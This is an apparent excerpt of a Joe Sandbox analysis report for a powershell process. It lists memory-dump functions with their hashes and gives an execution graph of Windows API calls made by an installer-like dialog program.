                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: f8614ca1e581f41ad221b6b956c5a15b4b5fa9938144235fbf571ba66d9a9119
                                                                                                                                                                    • Instruction ID: 169cf74a4db74e1aae75ab58d8eb3d8b1458e093cb7aa153e05f888bb8618bd1
                                                                                                                                                                    • Opcode Fuzzy Hash: f8614ca1e581f41ad221b6b956c5a15b4b5fa9938144235fbf571ba66d9a9119
                                                                                                                                                                    • Instruction Fuzzy Hash: 5FA16D74A006058FCB15CF59C5D89AEFBB1FF88310B2485A9E819AB3A5C775FC51CBA0
                                                                                                                                                                    Function 070B291D Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 3d23bc8284764f0a8f7e5c6abb66fe70155558fabd19bd02b61d3ee9ceebf048
                                                                                                                                                                    • Instruction ID: f4f996b78581528aa1c4c559691f415e3683d560c5953ba279c562c2400c3ec9
                                                                                                                                                                    • Opcode Fuzzy Hash: 3d23bc8284764f0a8f7e5c6abb66fe70155558fabd19bd02b61d3ee9ceebf048
                                                                                                                                                                    • Instruction Fuzzy Hash: 47419AB1750307DFDB395A7884002EABBE2BFC5220F24826AD9158F2D6DF35CA41C7A1
                                                                                                                                                                    Function 04103C6D Relevance: .1, Instructions: 113COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 300ccfd701369572897d851cdd0e219072e1524a6b88c57d36fccb23b7473caa
                                                                                                                                                                    • Instruction ID: c40184c0f4fc48812c33e734297c35a33617298e15b9c406f5f7e8c77eab5c90
                                                                                                                                                                    • Opcode Fuzzy Hash: 300ccfd701369572897d851cdd0e219072e1524a6b88c57d36fccb23b7473caa
                                                                                                                                                                    • Instruction Fuzzy Hash: 0651E774A00209AFDB05CB98D584A9DFBF2BF88314F24C559E814AB3A5C771ED82CF50
                                                                                                                                                                    Function 04102B00 Relevance: .1, Instructions: 106COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 0b287a97465562af57a81002249460f4e2d3ec75f00622a1b535329f299520db
                                                                                                                                                                    • Instruction ID: d49eda6f0fbdce8480c5b1c831f8f2fa5c8931a28e9aa64669e5b5abc972c772
                                                                                                                                                                    • Opcode Fuzzy Hash: 0b287a97465562af57a81002249460f4e2d3ec75f00622a1b535329f299520db
                                                                                                                                                                    • Instruction Fuzzy Hash: E74128B4A005058FCB05CF59C1D8AAAFBB1FF48310B258599D819AB3A4C776FC91CF94
                                                                                                                                                                    Function 04105D20 Relevance: .1, Instructions: 100COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 61fd59fdbe3b1d01259669731de6221aafb57073107302811f51ffa64728dced
                                                                                                                                                                    • Instruction ID: cab09953ed7a1de7accaa61da77c5f8ea9e1c7ee9cdbd8c1c1494e678cb51d3c
                                                                                                                                                                    • Opcode Fuzzy Hash: 61fd59fdbe3b1d01259669731de6221aafb57073107302811f51ffa64728dced
                                                                                                                                                                    • Instruction Fuzzy Hash: 6A3180B9A042459FCB01CF58C8909EABFB5FF49310B558196E844EB392C735ED81CBA1
                                                                                                                                                                    Function 070B0610 Relevance: .1, Instructions: 90COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: cc3f87793886a8f5fe76d67d5df8786ab600227ffb52a7cd8e9ba7b5b17eb01a
                                                                                                                                                                    • Instruction ID: 10eff9bf803ca2263190ebf621f4878deeed4cd8a7677d62b767f25657c75a5f
                                                                                                                                                                    • Opcode Fuzzy Hash: cc3f87793886a8f5fe76d67d5df8786ab600227ffb52a7cd8e9ba7b5b17eb01a
                                                                                                                                                                    • Instruction Fuzzy Hash: 042177B0300355ABC6B45A6988007BFBADAABC8714F24812AE206DB3C1DE72DD418760
                                                                                                                                                                    Function 070B05F3 Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 41c1179401ed43d50ed0cf36ad578fd27d1467935ac6a05c792d0f75f51406f4
                                                                                                                                                                    • Instruction ID: 82ca88cee9d9999481e2db280962140a50692b0fefa49425f30b5d67b73e49b6
                                                                                                                                                                    • Opcode Fuzzy Hash: 41c1179401ed43d50ed0cf36ad578fd27d1467935ac6a05c792d0f75f51406f4
                                                                                                                                                                    • Instruction Fuzzy Hash: FD2165B17043846FCB710A7648117EB6FE6AFD9300F28812AE145DB3D2DE39AE418761
                                                                                                                                                                    Function 041031A8 Relevance: .1, Instructions: 67COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 1f18f4bfb81352d681b631c8f8084cd830e245662c3a868b24b4f26888cd0d02
                                                                                                                                                                    • Instruction ID: 00dd2fca7a5c99a0868f593418307d4cef8347c5c85de2641896fad74db211cb
                                                                                                                                                                    • Opcode Fuzzy Hash: 1f18f4bfb81352d681b631c8f8084cd830e245662c3a868b24b4f26888cd0d02
                                                                                                                                                                    • Instruction Fuzzy Hash: A9213AB4A042499FCB04CF9CD9909AABBF5FF49300B118599E819AB362D775FC41CBA0
                                                                                                                                                                    Function 04103198 Relevance: .1, Instructions: 57COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 4ab7d9c9ffa82eebc5b69df6a3285ecb88bcab1b311318035da5d26b487c5d53
                                                                                                                                                                    • Instruction ID: ad7001807c9b707f20fdb1a3e1cca934710ecc0df749df90a1fc9305f0fc9836
                                                                                                                                                                    • Opcode Fuzzy Hash: 4ab7d9c9ffa82eebc5b69df6a3285ecb88bcab1b311318035da5d26b487c5d53
                                                                                                                                                                    • Instruction Fuzzy Hash: DB1117B8A042099FCB10DF98C9909AEFBB5FF88310B118599E819AB351D735FC41CBA1
                                                                                                                                                                    Function 0410A9FA Relevance: .0, Instructions: 50COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 09916ee93f679da6b03abf0ebf3d8e9643dd365e9ec92d60cea60abdde17ff4b
                                                                                                                                                                    • Instruction ID: 6e490a359fa6a9da5f2f67bf2432923dfa230f7efe88f0be92f8f460ef15231f
                                                                                                                                                                    • Opcode Fuzzy Hash: 09916ee93f679da6b03abf0ebf3d8e9643dd365e9ec92d60cea60abdde17ff4b
                                                                                                                                                                    • Instruction Fuzzy Hash: BD114870A44248DFCB04DFA4D894AEDBFB2FF89314F014199E805AB2A2DB75AC41CB60
                                                                                                                                                                    Function 0410B130 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 73ae3e06044267b0752ebe65431ab1fd44dc7d88f4c5f13dae537d038e85a16f
                                                                                                                                                                    • Instruction ID: 5438b33b6f761733feff0165e18943a53892785bd601873da724dbec874262b9
                                                                                                                                                                    • Opcode Fuzzy Hash: 73ae3e06044267b0752ebe65431ab1fd44dc7d88f4c5f13dae537d038e85a16f
                                                                                                                                                                    • Instruction Fuzzy Hash: B11182B59093898FCB41CB68D895599BFF0EF06210F5140DAD145DB7A3D330A845CBA2
                                                                                                                                                                    Function 04103D6B Relevance: .0, Instructions: 48COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 631053861ec943bbe02ccd624eff30b63c1b5dd36d3f5957541a05f43ace2d13
                                                                                                                                                                    • Instruction ID: b954f1d6c2c3e55709b6b112f3dac9201d10627c6a3705c6591a0328f6aece25
                                                                                                                                                                    • Opcode Fuzzy Hash: 631053861ec943bbe02ccd624eff30b63c1b5dd36d3f5957541a05f43ace2d13
                                                                                                                                                                    • Instruction Fuzzy Hash: 3F110774A00209AFDB45CB98D484A9DFBF2BF48310F29C159E814AB3A1C771AD82CF50
                                                                                                                                                                    Function 0409D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959479693.000000000409D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0409D000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_409d000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 2f3e53da66517e556fc8dad634c38b8363d8e6e768786e8372269c087bbbcfce
                                                                                                                                                                    • Instruction ID: 8351428f16689f50af0d7fa88fed8c66bd44f61bde0407c3d9593296fdca11ce
                                                                                                                                                                    • Opcode Fuzzy Hash: 2f3e53da66517e556fc8dad634c38b8363d8e6e768786e8372269c087bbbcfce
                                                                                                                                                                    • Instruction Fuzzy Hash: 8A01F731148300BAEB508E25DD84767BFD8EF81364F08C529ED482F146D679EC41E6B2
                                                                                                                                                                    Function 0409D007 Relevance: .0, Instructions: 44COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959479693.000000000409D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0409D000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_409d000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: ea1d4fb0bc29a7d09e62fbfe479764b0553a7e62523326b0ad51f8b2086d8f0d
                                                                                                                                                                    • Instruction ID: 0f75c4baf4596cc729280253b7935cf85549d61fa5893a88ca818323a93a5314
                                                                                                                                                                    • Opcode Fuzzy Hash: ea1d4fb0bc29a7d09e62fbfe479764b0553a7e62523326b0ad51f8b2086d8f0d
                                                                                                                                                                    • Instruction Fuzzy Hash: 97015E6100E3C0AED7528B259C94B52BFB4EF43224F1DC5CBD8889F1A3C2699849D772
                                                                                                                                                                    Function 0410AA2A Relevance: .0, Instructions: 28COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 419a537d2415b357f6c2bacf0b4613102905806bb6172489207f9ea6e4df1a48
                                                                                                                                                                    • Instruction ID: 05f2b6dc9b913161aaaad01b50023390103a21ab9e6ff5da95fed384b75200f8
                                                                                                                                                                    • Opcode Fuzzy Hash: 419a537d2415b357f6c2bacf0b4613102905806bb6172489207f9ea6e4df1a48
                                                                                                                                                                    • Instruction Fuzzy Hash: 11E0C9B0E043099FCF88DFB8A4512FEBFF5AA48200B10866AE95DE2750E37516118F94
                                                                                                                                                                    Function 0410B140 Relevance: .0, Instructions: 28COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 678c90045b1cdc8652fff6234ee3dbb712c42f1a172d09d9818158339d3fe256
                                                                                                                                                                    • Instruction ID: d72176fd629b63e4451f6f4647b2d527c75cc60233465f3fa126cf72de16945e
                                                                                                                                                                    • Opcode Fuzzy Hash: 678c90045b1cdc8652fff6234ee3dbb712c42f1a172d09d9818158339d3fe256
                                                                                                                                                                    • Instruction Fuzzy Hash: AEF0A974E1420A8FC780DFA8D485AAEBBF0FF49310F5041A9D509DB325E731A945CB91
                                                                                                                                                                    Function 0410AA38 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1959915313.0000000004100000.00000040.00000800.00020000.00000000.sdmp, Offset: 04100000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_4100000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 9b2364a6ae929d1a4c46ea9426e9f08116fc7f70087a0d7c99f67356da802634
                                                                                                                                                                    • Instruction ID: 45b2d598b598d93fb353c6d814fff9d4b1674b5ce1d814dfdeed22dbf7c6f452
                                                                                                                                                                    • Opcode Fuzzy Hash: 9b2364a6ae929d1a4c46ea9426e9f08116fc7f70087a0d7c99f67356da802634
                                                                                                                                                                    • Instruction Fuzzy Hash: A0E026B4E0430E9FCF88DFB995421BEFBF5AB48200F10856E9919E3340E67456118FD5

                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                    Function 070B1B00 Relevance: 7.7, Strings: 6, Instructions: 198COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: $kq$$kq$$kq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-1342094364
                                                                                                                                                                    • Opcode ID: e81f375c83ebab29b65b679f4ed75877d3f751104c9223015774ef7a34bcc536
                                                                                                                                                                    • Instruction ID: b364d98d791f6453ceab70ca6b4f493e66cf003d0748053c6cd578ffcd18db6e
                                                                                                                                                                    • Opcode Fuzzy Hash: e81f375c83ebab29b65b679f4ed75877d3f751104c9223015774ef7a34bcc536
                                                                                                                                                                    • Instruction Fuzzy Hash: E65177B270424A8FCB749B69D4606EBBBE6EFC6210F24857FC455C7342EA35DA04C7A1
                                                                                                                                                                    Function 070B1ADF Relevance: 5.1, Strings: 4, Instructions: 85COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: $kq$$kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-2881790790
                                                                                                                                                                    • Opcode ID: 8de09355b474078e70e4bd2b6f28a49fb3c62369bb9487e0babb71923df6f19a
                                                                                                                                                                    • Instruction ID: 31c17ebf2f17d3a1c424117726873838774e837131aa24d5c671c3e4bd3b52d3
                                                                                                                                                                    • Opcode Fuzzy Hash: 8de09355b474078e70e4bd2b6f28a49fb3c62369bb9487e0babb71923df6f19a
                                                                                                                                                                    • Instruction Fuzzy Hash: 392126F1A1538E8FCB718F10C460AEABBF1AF42210F2842ABC4648B182E7358745C791
                                                                                                                                                                    Function 070B1001 Relevance: 5.1, Strings: 4, Instructions: 53COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000001.00000002.1984896913.00000000070B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070B0000, based on PE: false
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_1_2_70b0000_powershell.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: 4'kq$4'kq$$kq$$kq
                                                                                                                                                                    • API String ID: 0-1727931526
                                                                                                                                                                    • Opcode ID: 742de1adb30b708650fa1b367455ee1afc8bda60f4beec832641b71c924e80a3
                                                                                                                                                                    • Instruction ID: 9c6503a4b9f90147dfde30a91054b4b31b315e136766a44c10d345295c07fb0a
                                                                                                                                                                    • Opcode Fuzzy Hash: 742de1adb30b708650fa1b367455ee1afc8bda60f4beec832641b71c924e80a3
                                                                                                                                                                    • Instruction Fuzzy Hash: AB016D707293C94FC776072848301A67FB26F9760073A42DBC181DF296D9AA4D4A87A2

                                                                                                                                                                    Execution Graph

                                                                                                                                                                    Execution Coverage:16.7%
                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                    Signature Coverage:20.9%
                                                                                                                                                                    Total number of Nodes:2000
                                                                                                                                                                    Total number of Limit Nodes:29
                                                                                                                                                                    execution_graph 16305 7ff7b1de5700 16306 7ff7b1de571f _snwprintf 16305->16306 16475 7ff7b1dd1230 16306->16475 16308 7ff7b1de5759 16309 7ff7b1de5786 16308->16309 16310 7ff7b1de5771 16308->16310 16311 7ff7b1de5f49 16308->16311 16684 7ff7b1de98e0 16309->16684 16310->16309 16314 7ff7b1de57ec 16310->16314 16315 7ff7b1de577d 16310->16315 16588 7ff7b1de7adc 16311->16588 16320 7ff7b1de588d GetDlgItemTextW 16314->16320 16321 7ff7b1de5806 16314->16321 16324 7ff7b1de5781 16315->16324 16326 7ff7b1de57c8 16315->16326 16318 7ff7b1de5f7c 16322 7ff7b1de5fa3 GetDlgItem SendMessageW 16318->16322 16323 7ff7b1de5f88 SendDlgItemMessageW 16318->16323 16319 7ff7b1de5f6b SendMessageW 16319->16318 16325 7ff7b1de58dc 16320->16325 16320->16326 16327 7ff7b1dd6118 48 API calls 16321->16327 16608 7ff7b1de3fac GetCurrentDirectoryW 16322->16608 16323->16322 16324->16309 16329 7ff7b1dd6118 48 API calls 16324->16329 16330 7ff7b1de58f3 GetDlgItem 16325->16330 16331 7ff7b1de58e5 16325->16331 16326->16309 16332 7ff7b1de58ce EndDialog 16326->16332 16333 7ff7b1de5824 SetDlgItemTextW 16327->16333 16335 7ff7b1de5797 16329->16335 16336 7ff7b1de5911 SendMessageW SendMessageW 16330->16336 16337 7ff7b1de593d SetFocus 16330->16337 16331->16326 16344 7ff7b1de5e8c 16331->16344 16332->16309 16339 7ff7b1de5832 16333->16339 16334 7ff7b1de5fdc GetDlgItem SetWindowTextW 16609 7ff7b1de45f0 GetClassNameW 16334->16609 16624 7ff7b1dd1120 SHGetMalloc 16335->16624 16336->16337 16338 7ff7b1de594f 16337->16338 16350 7ff7b1de595e 16337->16350 16342 7ff7b1dd6118 48 API calls 16338->16342 16339->16309 16346 7ff7b1de584c GetMessageW 16339->16346 16345 7ff7b1de5959 16342->16345 16348 7ff7b1dd6118 48 API calls 16344->16348 16490 7ff7b1de7858 16345->16490 16346->16309 16349 7ff7b1de5866 IsDialogMessageW 16346->16349 16353 7ff7b1de5e9d SetDlgItemTextW 16348->16353 16349->16339 16354 7ff7b1de5877 TranslateMessage DispatchMessageW 16349->16354 16483 7ff7b1dd6118 16350->16483 16351 7ff7b1de6039 16355 7ff7b1de6057 16351->16355 16359 7ff7b1de682c 141 API calls 16351->16359 16352 7ff7b1de62bf SetDlgItemTextW 16352->16309 16356 7ff7b1dd6118 48 API calls 16353->16356 16354->16339 16360 7ff7b1de6093 16355->16360 16364 7ff7b1dd6118 48 API calls 16355->16364 16392 7ff7b1de5ecf 16356->16392 16359->16355 16367 7ff7b1de682c 141 API calls 16360->16367 16413 7ff7b1de6179 16360->16413 16362 7ff7b1de59c2 16366 7ff7b1de59e8 16362->16366 16632 7ff7b1dd3120 16362->16632 16370 7ff7b1de606a SetDlgItemTextW 16364->16370 16502 7ff7b1dd2ee4 16366->16502 16374 7ff7b1de60b2 16367->16374 16368 7ff7b1de6239 16376 7ff7b1de6242 EnableWindow 16368->16376 16377 7ff7b1de624d 16368->16377 16369 7ff7b1dd3774 swprintf 46 API calls 16369->16345 16371 7ff7b1dd6118 48 API calls 16370->16371 16378 7ff7b1de6085 SetDlgItemTextW 16371->16378 16372 7ff7b1de5f25 16381 7ff7b1dd6118 48 API calls 16372->16381 16380 7ff7b1de60f3 16374->16380 16386 7ff7b1de60c7 16374->16386 16376->16377 16383 7ff7b1de6274 16377->16383 16683 7ff7b1dd11e4 GetDlgItem EnableWindow 16377->16683 16378->16360 16389 7ff7b1de60fb SetForegroundWindow 16380->16389 16390 7ff7b1de615b 16380->16390 16381->16309 16384 7ff7b1de62a7 16383->16384 16399 7ff7b1de62a1 PostMessageW 16383->16399 16400 7ff7b1de6299 SendMessageW 16383->16400 16384->16309 16402 7ff7b1dd6118 48 API calls 16384->16402 16385 7ff7b1de59dc 16635 7ff7b1de49c8 GetCurrentProcess 16385->16635 16666 7ff7b1de36e8 ShowWindow 16386->16666 16387 7ff7b1de5a12 16513 7ff7b1de467c SetCurrentDirectoryW 16387->16513 16388 7ff7b1de5a01 GetLastError 16388->16387 16389->16390 16397 7ff7b1de610c 16389->16397 16393 7ff7b1de682c 141 API calls 16390->16393 16392->16372 16401 7ff7b1dd6118 48 API calls 16392->16401 16393->16413 16397->16390 16411 7ff7b1de682c 141 API calls 16397->16411 16399->16384 16400->16384 16406 7ff7b1de5f08 16401->16406 16408 7ff7b1de57af 16402->16408 16404 7ff7b1de5a1e 16409 7ff7b1de5a34 16404->16409 16410 7ff7b1de5a25 GetLastError 16404->16410 16415 7ff7b1dd3774 swprintf 46 API calls 16406->16415 16407 7ff7b1de6212 16416 7ff7b1de36e8 37 API calls 16407->16416 16408->16309 16408->16352 16414 7ff7b1de5aa4 16409->16414 16419 7ff7b1de5a43 GetTickCount 16409->16419 16420 7ff7b1de5ab3 16409->16420 16410->16409 16412 7ff7b1de612a 16411->16412 16412->16390 16417 7ff7b1de6133 DialogBoxParamW 16412->16417 16413->16368 16413->16407 16418 7ff7b1dd6118 48 API calls 16413->16418 16414->16420 16428 7ff7b1de5d34 16414->16428 16415->16372 16416->16368 16417->16390 16418->16413 16514 7ff7b1dd3774 16419->16514 16421 7ff7b1de5cc2 16420->16421 16422 7ff7b1de5ac9 GetModuleFileNameW 16420->16422 16424 7ff7b1de5ccb 16420->16424 16421->16326 16421->16424 16645 7ff7b1dd6ff8 16422->16645 16427 7ff7b1dd6118 48 API calls 16424->16427 16426 7ff7b1de5a5f 16518 7ff7b1dd2138 16426->16518 16430 7ff7b1de5cd5 16427->16430 16433 7ff7b1dd6118 48 API calls 16428->16433 16432 7ff7b1dd3774 swprintf 46 API calls 16430->16432 16431 7ff7b1dd3774 swprintf 46 API calls 16434 7ff7b1de5b1c CreateFileMappingW 16431->16434 16436 7ff7b1de5cf9 16432->16436 16437 7ff7b1de5d62 SetDlgItemTextW 16433->16437 16438 7ff7b1de5b9a GetCommandLineW 16434->16438 16468 7ff7b1de5c38 BuildCatchObjectHelperInternal 16434->16468 16447 7ff7b1dd6118 48 API calls 16436->16447 16441 7ff7b1dd1208 16437->16441 16442 7ff7b1de5bac 16438->16442 16440 7ff7b1de5c3f ShellExecuteExW 16463 7ff7b1de5c5d 16440->16463 16445 7ff7b1de5d80 SetDlgItemTextW GetDlgItem 16441->16445 16649 7ff7b1de51f0 SHGetMalloc 16442->16649 16449 7ff7b1de5dd1 16445->16449 16450 7ff7b1de5dab GetWindowLongPtrW SetWindowLongPtrW 16445->16450 16452 7ff7b1de5d11 16447->16452 16535 7ff7b1de682c 16449->16535 16450->16449 16451 7ff7b1de5bd2 16454 7ff7b1de51f0 SHGetMalloc 16451->16454 16456 7ff7b1de5be3 16454->16456 16459 7ff7b1de51f0 SHGetMalloc 16456->16459 16457 7ff7b1de5c9b 16457->16421 16462 7ff7b1de5cb0 UnmapViewOfFile CloseHandle 16457->16462 16458 7ff7b1de682c 141 API calls 16460 7ff7b1de5dfb 16458->16460 16461 7ff7b1de5bf4 16459->16461 16580 7ff7b1de7f68 16460->16580 